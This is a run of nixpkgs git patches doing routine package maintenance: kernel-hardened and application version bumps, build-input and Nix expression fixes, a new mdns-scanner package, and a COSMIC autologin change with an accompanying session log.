Subject: [PATCH 1324/4511] tio: fix Bash completion

`bash-completion` is a runtime dependency, so it needs to be in buildInputs,
not nativeBuildInputs.

(cherry picked from commit 7afd638334b1a8dd9e16d9404abf63e30fe32a8b)
---
 pkgs/by-name/ti/tio/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ti/tio/package.nix b/pkgs/by-name/ti/tio/package.nix
index 4fdf3dc622da..e8ea395f5a9a 100644
--- a/pkgs/by-name/ti/tio/package.nix
+++ b/pkgs/by-name/ti/tio/package.nix
@@ -28,13 +28,13 @@ stdenv.mkDerivation (finalAttrs: {
     inih
     lua
     glib
+    bash-completion
   ];
 
   nativeBuildInputs = [
     meson
     ninja
     pkg-config
-    bash-completion
   ];
 
   meta = with lib; {

From 62462eb71a3a9a6490bce7b7d8a2ee7ab16ccf2e Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 23 May 2025 18:58:00 +0800
Subject: [PATCH 1325/4511] fend: use finalAttrs

(cherry picked from commit a0d86ee26f57d6555a3990800c82fba3e13b5b60)
---
 pkgs/by-name/fe/fend/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fe/fend/package.nix b/pkgs/by-name/fe/fend/package.nix
index f27ea5128db4..f891dcd6a8e7 100644
--- a/pkgs/by-name/fe/fend/package.nix
+++ b/pkgs/by-name/fe/fend/package.nix
@@ -15,14 +15,14 @@
   fend,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "fend";
   version = "1.5.6";
 
   src = fetchFromGitHub {
     owner = "printfn";
     repo = "fend";
-    rev = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-FaPP7344rb5789CeDv9L4lysiTrK+7UoEbH8IK/6N3k=";
   };
 
@@ -96,7 +96,7 @@ rustPlatform.buildRustPackage rec {
   meta = with lib; {
     description = "Arbitrary-precision unit-aware calculator";
     homepage = "https://github.com/printfn/fend";
-    changelog = "https://github.com/printfn/fend/releases/tag/v${version}";
+    changelog = "https://github.com/printfn/fend/releases/tag/${finalAttrs.src.tag}";
     license = licenses.mit;
     maintainers = with maintainers; [
       djanatyn
@@ -104,4 +104,4 @@ rustPlatform.buildRustPackage rec {
     ];
     mainProgram = "fend";
   };
-}
+})

From 5a68337012e70a90c22ee93b409234006386c7eb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Fri, 20 Jun 2025 11:01:33 -0600
Subject: [PATCH 1326/4511] linux/hardened/patches/5.10: v5.10.237-hardened1 ->
 v5.10.238-hardened1

(cherry picked from commit 89192423b4b954fcaf5fe36b2a605cabec57846b)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index a5d2afcc2308..f9a70767b496 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -2,12 +2,12 @@
     "5.10": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v5.10.237-hardened1.patch",
-            "sha256": "09a4dx65vn96s62viyhpjnz2hwcwxq8araxhk7x6ximyky888kmr",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v5.10.237-hardened1/linux-hardened-v5.10.237-hardened1.patch"
+            "name": "linux-hardened-v5.10.238-hardened1.patch",
+            "sha256": "1y4srk40v0gzfnlqsbh6g9h5vcs8rp5g2b8jjch6xx7dji189myq",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v5.10.238-hardened1/linux-hardened-v5.10.238-hardened1.patch"
         },
-        "sha256": "098gvqfaahabqqz64m5fwri57drwiz3006pr805sxw74w0vjgj0z",
-        "version": "5.10.237"
+        "sha256": "1dkblixa0as9h11m081dqq8vlz4dcjbzdz7phkz07p621na55j07",
+        "version": "5.10.238"
     },
     "5.15": {
         "patch": {

From c135227d67734a5d8e94094464f88b58f743febc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Fri, 20 Jun 2025 11:01:37 -0600
Subject: [PATCH 1327/4511] linux/hardened/patches/5.15: v5.15.184-hardened1 ->
 v5.15.185-hardened1

(cherry picked from commit df5e52b738f2ec9d7b35a4703ae219a58d9ac690)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index f9a70767b496..15fb4f4b7424 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -12,12 +12,12 @@
     "5.15": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v5.15.184-hardened1.patch",
-            "sha256": "1s4naybf1rd2a42xqyrvp0g94pfxx766lnwnnfwiid7j3pz7fbi5",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v5.15.184-hardened1/linux-hardened-v5.15.184-hardened1.patch"
+            "name": "linux-hardened-v5.15.185-hardened1.patch",
+            "sha256": "00m1p8cm1d76drdlafv4bdrq81xkh40jgg33kvkk3wqcbiikq3h7",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v5.15.185-hardened1/linux-hardened-v5.15.185-hardened1.patch"
         },
-        "sha256": "1nf1v89ikwi9philrw6h03hzb085mwz44lfxx71agp67vk39hglw",
-        "version": "5.15.184"
+        "sha256": "1p0kjc09qqv361phscny1gqj38di9dpab9gxywljkwqhi5wyn0rx",
+        "version": "5.15.185"
     },
     "5.4": {
         "patch": {

From d92f6682dbdce0e6765e645730d6578f2ad5ddd7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Fri, 20 Jun 2025 11:01:41 -0600
Subject: [PATCH 1328/4511] linux/hardened/patches/5.4: v5.4.293-hardened1 ->
 v5.4.294-hardened1

(cherry picked from commit f0d18ebb969c0f7fcc3c972562eccf38426b244b)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index 15fb4f4b7424..3b513626cbab 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -22,12 +22,12 @@
     "5.4": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v5.4.293-hardened1.patch",
-            "sha256": "0wblrpmwp3rh1adyg1jbyifdfsdlm3p2mgw2xm9a03vwd0jkdd6f",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v5.4.293-hardened1/linux-hardened-v5.4.293-hardened1.patch"
+            "name": "linux-hardened-v5.4.294-hardened1.patch",
+            "sha256": "1q6ffxnpk8j2fwi3g8rpf1lc247m8xiqix2kichxvggkadmjyzg0",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v5.4.294-hardened1/linux-hardened-v5.4.294-hardened1.patch"
         },
-        "sha256": "0b9p8l6ndm75751f7s03rnxg7yg9c4pj9rb537lhsv6pqx096n1l",
-        "version": "5.4.293"
+        "sha256": "16bv0x4c9ssr66vrd6jnv2dw5na1y7hxfn4d67g0zaksh6xd0yf8",
+        "version": "5.4.294"
     },
     "6.1": {
         "patch": {

From 3a185674f24d35c419edaa3e43bc212d9136b462 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Fri, 20 Jun 2025 11:01:46 -0600
Subject: [PATCH 1329/4511] linux/hardened/patches/6.1: v6.1.140-hardened1 ->
 v6.1.141-hardened1

(cherry picked from commit 2d4890b53e5a505ea5fea10fa400cfcaf8f1e462)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index 3b513626cbab..80f5c9c545ca 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -32,12 +32,12 @@
     "6.1": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v6.1.140-hardened1.patch",
-            "sha256": "0a40j1s1il05wlcp7dfpg20rlff2va4vdcx3vid1dg2h17b2kr3s",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.1.140-hardened1/linux-hardened-v6.1.140-hardened1.patch"
+            "name": "linux-hardened-v6.1.141-hardened1.patch",
+            "sha256": "10wbx6sjzjh3krx15pb65xxl55xcpia54ws825s9619wx059dskl",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.1.141-hardened1/linux-hardened-v6.1.141-hardened1.patch"
         },
-        "sha256": "0x7b856hxmli8qnkps9x62q8sca101v4sfwjqgivzxvprb5gjyap",
-        "version": "6.1.140"
+        "sha256": "05n1561cbzaw9vcxp86bqzvhqz5wv7dajpy7cq34bw7myvx4ag5w",
+        "version": "6.1.141"
     },
     "6.12": {
         "patch": {

From 212571f4161a4bfeb3d336e49405ad0bed4a459d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Fri, 20 Jun 2025 11:01:51 -0600
Subject: [PATCH 1330/4511] linux/hardened/patches/6.12: v6.12.30-hardened1 ->
 v6.12.34-hardened1

(cherry picked from commit e65abef29c98e9e9020f43e6013c18350ce8390f)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index 80f5c9c545ca..d0e5da527f68 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -42,12 +42,12 @@
     "6.12": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v6.12.30-hardened1.patch",
-            "sha256": "0c04fl4qf47gr72q1kbn3gyzhl27v1w2mmq9dwizkzvb4cf8kvdb",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.12.30-hardened1/linux-hardened-v6.12.30-hardened1.patch"
+            "name": "linux-hardened-v6.12.34-hardened1.patch",
+            "sha256": "1aw8r52gbxp53sgl4pwv51axw0kmgh3ib6gfvw81dlyaajmlbm6b",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.12.34-hardened1/linux-hardened-v6.12.34-hardened1.patch"
         },
-        "sha256": "0bpqkh64bj6nslbb43hj28lxmrxinrapwgh05q5wwh0yjx46l16z",
-        "version": "6.12.30"
+        "sha256": "0kf2f3r96npzs01kdq3q2ag7zg8l3avfyqwv5qbs9v373wwgxwx7",
+        "version": "6.12.34"
     },
     "6.13": {
         "patch": {

From 0630849a50a403167367fa082f7e4f8bd3b7632e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Fri, 20 Jun 2025 11:01:56 -0600
Subject: [PATCH 1331/4511] linux/hardened/patches/6.14: v6.14.8-hardened1 ->
 v6.14.11-hardened1

(cherry picked from commit 1129db78d66354e8138e54cba3c6ad5292cff3cc)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index d0e5da527f68..5158b37e22ae 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -62,12 +62,12 @@
     "6.14": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v6.14.8-hardened1.patch",
-            "sha256": "10vr63mx42vnz7jlr737hsaz20ch972bvv1c7lj6kk5slidwg1rb",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.14.8-hardened1/linux-hardened-v6.14.8-hardened1.patch"
+            "name": "linux-hardened-v6.14.11-hardened1.patch",
+            "sha256": "07f0d76rag6jcclxdl24w70545fb8jrqy98xcdmgxwjabclaa1lp",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.14.11-hardened1/linux-hardened-v6.14.11-hardened1.patch"
         },
-        "sha256": "0199maj3mk577wwaszbi0cl5a0afx1ynad896bmmg8vm636jxcb2",
-        "version": "6.14.8"
+        "sha256": "06rvydmc2yfspidnsay5hin3i8p4fxy3bvzwnry7gjf9dl5cs71z",
+        "version": "6.14.11"
     },
     "6.6": {
         "patch": {

From 509f51ecb00830a06dc5d42bf98f7c3a6d7a3357 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Fri, 20 Jun 2025 11:02:00 -0600
Subject: [PATCH 1332/4511] linux/hardened/patches/6.6: v6.6.92-hardened1 ->
 v6.6.94-hardened1

(cherry picked from commit e2406c53f0ae3b40df3c0255b9b826535a0ccfc0)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index 5158b37e22ae..a2c9452954c0 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -72,11 +72,11 @@
     "6.6": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v6.6.92-hardened1.patch",
-            "sha256": "1wm1wm76mlw0vyp6d28rf4qz8wqx0ri7zaajycwymh1zh4600pn7",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.6.92-hardened1/linux-hardened-v6.6.92-hardened1.patch"
+            "name": "linux-hardened-v6.6.94-hardened1.patch",
+            "sha256": "0i1dshmsr8v230qmbawda916420m6njwwmillcbr42hsagdjhd0i",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.6.94-hardened1/linux-hardened-v6.6.94-hardened1.patch"
         },
-        "sha256": "1v1pq9yzxrlaxx4y4cj5q3wska0jbv2inc7phqfw70fj88kai0hx",
-        "version": "6.6.92"
+        "sha256": "0mncdsqbqrxii0hirnymi1kmg50jn9v0p26flimlf2xj4vm82fbi",
+        "version": "6.6.94"
     }
 }

From 79977af33e2c69e5b1566f74e150a6dccb3b482e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Fri, 20 Jun 2025 08:58:58 +0200
Subject: [PATCH 1333/4511] thunderbird: 138.0.1 -> 139.0.2

https://www.thunderbird.net/en-US/thunderbird/138.0.2/releasenotes/
https://www.thunderbird.net/en-US/thunderbird/139.0/releasenotes/
https://www.thunderbird.net/en-US/thunderbird/139.0.1/releasenotes/
https://www.thunderbird.net/en-US/thunderbird/139.0.2/releasenotes/
(cherry picked from commit 9892cb764162d1c6d9a9685808d5e8b939ce8838)
---
 .../networking/mailreaders/thunderbird/packages.nix    | 10 ++--------
 1 file changed, 2 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index 8aafc71836f2..4c3cae7a2cb2 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -47,12 +47,6 @@ let
       extraPatches = [
         # The file to be patched is different from firefox's `no-buildconfig-ffx90.patch`.
         ./no-buildconfig.patch
-        # clang-19 fixes for char_traits build issue
-        # https://github.com/rnpgp/rnp/pull/2242/commits/e0790a2c4ff8e09d52522785cec1c9db23d304ac
-        # https://github.com/rnpgp/sexpp/pull/54/commits/46744a14ffc235330bb99cebfaf294829c31bba4
-        # Remove when upstream bumps bundled rnp version: https://bugzilla.mozilla.org/show_bug.cgi?id=1893950
-        ./0001-Removed-lookup-against-basic_string-uint8_t.patch
-        ./0001-Implemented-char_traits-for-SEXP-octet_t.patch
       ];
 
       extraPassthru = {
@@ -92,8 +86,8 @@ rec {
   thunderbird = thunderbird-latest;
 
   thunderbird-latest = common {
-    version = "138.0.1";
-    sha512 = "2e71ee537292ec1a49237e93c43ed4c1a9eae58becfc7fa9ca0daf1e982c38704cb6d44e92b1bf7b45c5b8c27b23eb3aa7f48b375580f49ee60884dadc5d85b5";
+    version = "139.0.2";
+    sha512 = "edb20c692674dc5c3ba70673f7dd03710bf7ac0ce2be614a7a4b3d2b40b20b4974aab2a621dd5b43720c412a590c08f8b78abeb9b61f288f3217c6a04cc1e8ff";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-latest";

From 29675efcfa947d3f397f1d641b6dad9203406fe1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Thu, 19 Jun 2025 18:11:46 +0000
Subject: [PATCH 1334/4511] immich: 1.135.0 -> 1.135.3

Diff: https://github.com/immich-app/immich/compare/v1.135.0...v1.135.3

Changelog: https://github.com/immich-app/immich/releases/tag/v1.135.1
           https://github.com/immich-app/immich/releases/tag/v1.135.2
           https://github.com/immich-app/immich/releases/tag/v1.135.3
(cherry picked from commit f65e98efc0028c7a9e647e03bd7906366b4de6ab)
---
 pkgs/by-name/im/immich/sources.json | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
index 46d2aca89f8c..8c039477368e 100644
--- a/pkgs/by-name/im/immich/sources.json
+++ b/pkgs/by-name/im/immich/sources.json
@@ -1,26 +1,26 @@
 {
-  "version": "1.135.0",
-  "hash": "sha256-wxdKFuya2GP6lETiG73CYVox/BS+QpgXUjh8ZlVzhrg=",
+  "version": "1.135.3",
+  "hash": "sha256-CIYuDAWd0OH7jwV4XKIJDVlk1D/tYlDVW5V4uEDCwEE=",
   "components": {
     "cli": {
-      "npmDepsHash": "sha256-oAtLuOtkzGD9grfamDQEdmfN2VIPuFYmdn51VNP11M8=",
-      "version": "2.2.69"
+      "npmDepsHash": "sha256-43W9yKr1XuTLUi3RuZNR8CjcHIyhHaSl+azZKqDWBx0=",
+      "version": "2.2.72"
     },
     "server": {
-      "npmDepsHash": "sha256-8G3UKfKp+Wzt7yjM/90omtAZMJ+iOSRQ8lxXiEEDwpM=",
-      "version": "1.135.0"
+      "npmDepsHash": "sha256-Z5vRpSau9nxrlXe7QuxYhqpVkloVIz12o0hXKAl8Y6o=",
+      "version": "1.135.3"
     },
     "web": {
-      "npmDepsHash": "sha256-Ej3qCjXXT9oGDQrccoTFpcl1xHMovaLUJi/vRK1nRa4=",
-      "version": "1.135.0"
+      "npmDepsHash": "sha256-M5TNLBJPl/9rue651XyyV5ZnPakq0wPgTmS7XhSbf0A=",
+      "version": "1.135.3"
     },
     "open-api/typescript-sdk": {
-      "npmDepsHash": "sha256-FCTKMkfl9eBLUmEFg/CYKp8eii+bzh3jujk8A7gtAes=",
-      "version": "1.135.0"
+      "npmDepsHash": "sha256-HOQMbbLzxkw5U2MHJFGKiquvfFYdwCEjHhXWwrhCmng=",
+      "version": "1.135.3"
     },
     "geonames": {
-      "timestamp": "20250618213339",
-      "hash": "sha256-iO77kJ/rMBu2S7sfu5GAZKRh4OGeR8fT/6Y8mBpgePQ="
+      "timestamp": "20250620153832",
+      "hash": "sha256-OJSQFjaYm1TVyA0JL7DiHy/dbhRd5HYoTPqIoPnBLss="
     }
   }
 }

From 960aee9da8b0b715399e456ed2c6232f02da552d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Sat, 21 Jun 2025 09:43:40 +0200
Subject: [PATCH 1335/4511] thunderbird-esr: bring back patches dropped by
 accident

In 9892cb76416 (PR #418362) I forgot that this patch list is shared.

(cherry picked from commit e0b8b299cfd713318fbfcf97b554b0fb5f8041d5)
---
 .../mailreaders/thunderbird/packages.nix        | 17 +++++++++++++----
 1 file changed, 13 insertions(+), 4 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index 4c3cae7a2cb2..f362280223a4 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -44,10 +44,19 @@ let
         url = "mirror://mozilla/thunderbird/releases/${version}/source/thunderbird-${version}.source.tar.xz";
         inherit sha512;
       };
-      extraPatches = [
-        # The file to be patched is different from firefox's `no-buildconfig-ffx90.patch`.
-        ./no-buildconfig.patch
-      ];
+      extraPatches =
+        [
+          # The file to be patched is different from firefox's `no-buildconfig-ffx90.patch`.
+          ./no-buildconfig.patch
+        ]
+        ++ lib.optionals (lib.versionOlder version "139") [
+          # clang-19 fixes for char_traits build issue
+          # https://github.com/rnpgp/rnp/pull/2242/commits/e0790a2c4ff8e09d52522785cec1c9db23d304ac
+          # https://github.com/rnpgp/sexpp/pull/54/commits/46744a14ffc235330bb99cebfaf294829c31bba4
+          # Remove when upstream bumps bundled rnp version: https://bugzilla.mozilla.org/show_bug.cgi?id=1893950
+          ./0001-Removed-lookup-against-basic_string-uint8_t.patch
+          ./0001-Implemented-char_traits-for-SEXP-octet_t.patch
+        ];
 
       extraPassthru = {
         icu73 = icu73';

From ef76b543fe9119978e548fe01b497b6392275c5b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Sat, 21 Jun 2025 11:06:22 +0200
Subject: [PATCH 1336/4511] python313Packages.beautifulsoup4: disable failing
 tests

This is partial backport of nixpkgs master commit d77667ce24180eff
---
 pkgs/development/python-modules/beautifulsoup4/default.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/development/python-modules/beautifulsoup4/default.nix b/pkgs/development/python-modules/beautifulsoup4/default.nix
index a0fbb4ade834..9f086ed11b27 100644
--- a/pkgs/development/python-modules/beautifulsoup4/default.nix
+++ b/pkgs/development/python-modules/beautifulsoup4/default.nix
@@ -65,6 +65,12 @@ buildPythonPackage rec {
     pytestCheckHook
   ] ++ lib.flatten (builtins.attrValues optional-dependencies);
 
+  disabledTests = [
+    # fail with latest libxml, by not actually rejecting
+    "test_rejected_markup"
+    "test_rejected_input"
+  ];
+
   pythonImportsCheck = [ "bs4" ];
 
   passthru.tests = {

From f5f95e58fbea8afcdb78aa525d76bd5c7c661024 Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Fri, 20 Jun 2025 22:17:22 +0200
Subject: [PATCH 1337/4511] mdns-scanner: init at 0.12.1

(cherry picked from commit f8ea9ce81c256935c3b7047b5d06b45f4dd6a5e0)
---
 pkgs/by-name/md/mdns-scanner/package.nix | 31 ++++++++++++++++++++++++
 1 file changed, 31 insertions(+)
 create mode 100644 pkgs/by-name/md/mdns-scanner/package.nix

diff --git a/pkgs/by-name/md/mdns-scanner/package.nix b/pkgs/by-name/md/mdns-scanner/package.nix
new file mode 100644
index 000000000000..17e9f15247b6
--- /dev/null
+++ b/pkgs/by-name/md/mdns-scanner/package.nix
@@ -0,0 +1,31 @@
+{
+  lib,
+  fetchFromGitHub,
+  rustPlatform,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "mdns-scanner";
+  version = "0.12.1";
+
+  src = fetchFromGitHub {
+    owner = "CramBL";
+    repo = "mdns-scanner";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-I0/ms1FFTGgSk101GBascTSMBCLAmzqk2yiNYskedvU=";
+  };
+
+  cargoHash = "sha256-JdeIEaSfiMCQ9n3Y4DpTWhheHaA54zJKUsG/e4Xo9LU=";
+
+  meta = {
+    homepage = "https://github.com/CramBL/mdns-scanner";
+    description = "Scan a network and create a list of IPs and associated hostnames, including mDNS hostnames and other aliases";
+    changelog = "https://github.com/CramBL/mdns-scanner/releases/tag/${finalAttrs.src.tag}";
+    license = with lib.licenses; [
+      asl20
+      mit
+    ];
+    maintainers = with lib.maintainers; [ Cameo007 ];
+    mainProgram = "mdns-scanner";
+  };
+})

From d2672b8b5486152c645fc1b0797a54250f6e8b3e Mon Sep 17 00:00:00 2001
From: Pratham Patel <prathampatel@thefossguy.com>
Date: Fri, 30 May 2025 09:22:51 +0530
Subject: [PATCH 1338/4511] nixos/cosmic-greeter: initialize COSMIC session
 properly with autologin
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Until now, the `cosmic-session` binary was directly invoked when
autologin was enabled. When a user logs in normally, the COSMIC greeter
performs some initialisation. That is done by the greeter running the
`start-cosmic` script shipping with the `cosmic-session` package.

This `start-cosmic` script is responsible for exporting the environment
variables for the user's graphical session and then it starts a session
of COSMIC.

So, when autologin is enabled, instead of executing the `cosmic-session`
binary, we will run the `start-cosmic` script to match user session
initialisation as closely as possible with a "normal" session.

However, there still are some missing pieces to the puzzle. Most notable
one of them is that the desktop portal keeps crashing with a
"ParserError" in context to the locale. I have not dived into this
puzzle piece yet.

```
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.351100Z  INFO launch_pad: starting process ' WAYLAND_DISPLAY=wayland-1 XDG_SESSION_TYPE=wayland WAYLAND_SOCKET=79 PORTAL_WAYLAND_SOCKET=57 /nix/store/0d2a9m7n8bji1q8vrmabj380mwzlvd35-xdg-desktop-portal-cosmic-1.0.0-alpha.7/libexec/xdg-desktop-portal-cosmic '
May 30 09:32:26 aatman cosmic-session[1221]: starting process ' WAYLAND_DISPLAY=wayland-1 XDG_SESSION_TYPE=wayland WAYLAND_SOCKET=79 PORTAL_WAYLAND_SOCKET=57 /nix/store/0d2a9m7n8bji1q8vrmabj380mwzlvd35-xdg-desktop-portal-cosmic-1.0.0-alpha.7/libexec/xdg-desktop-portal-cosmic '
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.419931Z  WARN xdg-desktop-portal-cosmic: cosmic_session: [2025-05-30T04:02:26Z ERROR i18n_embed::requester] Unable to parse your locale: ParserError(InvalidLanguage)
May 30 09:32:26 aatman cosmic-session[1221]: [2025-05-30T04:02:26Z ERROR cosmic_settings_subscriptions::upower::kbdbacklight] Error listening to KbdBacklight: org.freedesktop.DBus.Error.UnknownMethod: Object does not exist at path “/org/freedesktop/UPower/KbdBacklight”
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.795301Z  WARN cosmic-osd: cosmic_session: [2025-05-30T04:02:26Z ERROR cosmic_settings_subscriptions::upower::kbdbacklight] Error listening to KbdBacklight: org.freedesktop.DBus.Error.UnknownMethod: Object does not exist at path “/org/freedesktop/UPower/KbdBacklight”
May 30 09:32:26 aatman cosmic-session[1221]: Failed to watch theme org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.GeoClue2 was not provided by any .service files
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.807276Z  WARN cosmic-settings-daemon: cosmic_session: Failed to watch theme org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.GeoClue2 was not provided by any .service files
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.818729Z  WARN xdg-desktop-portal-cosmic: cosmic_session:
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.818739Z  WARN xdg-desktop-portal-cosmic: cosmic_session: thread 'main' panicked at src/wayland/mod.rs:243:78:
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.818748Z  WARN xdg-desktop-portal-cosmic: cosmic_session: called `Result::unwrap()` on an `Err` value: NotPresent
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.818792Z  WARN xdg-desktop-portal-cosmic: cosmic_session: stack backtrace:
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.830400Z  WARN xdg-desktop-portal-cosmic: cosmic_session:    0:     0x56531e8a3e40 - <std::sys::backtrace::BacktraceLock::print::DisplayBacktrace as core::fmt::Display>::fmt::h9edbd6e38a8b0805
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.830424Z  WARN xdg-desktop-portal-cosmic: cosmic_session:    1:     0x56531dd73043 - core::fmt::write::h7b1248e5e0c79c78
May 30 09:32:26 aatman cosmic-session[1221]: 2025-05-30T04:02:26.830499Z  WARN xdg-desktop-portal-cosmic: cosmic_session:    2:     0x56531e86c0f3 - std::io::Write::write_fmt::h5e301665499081bf
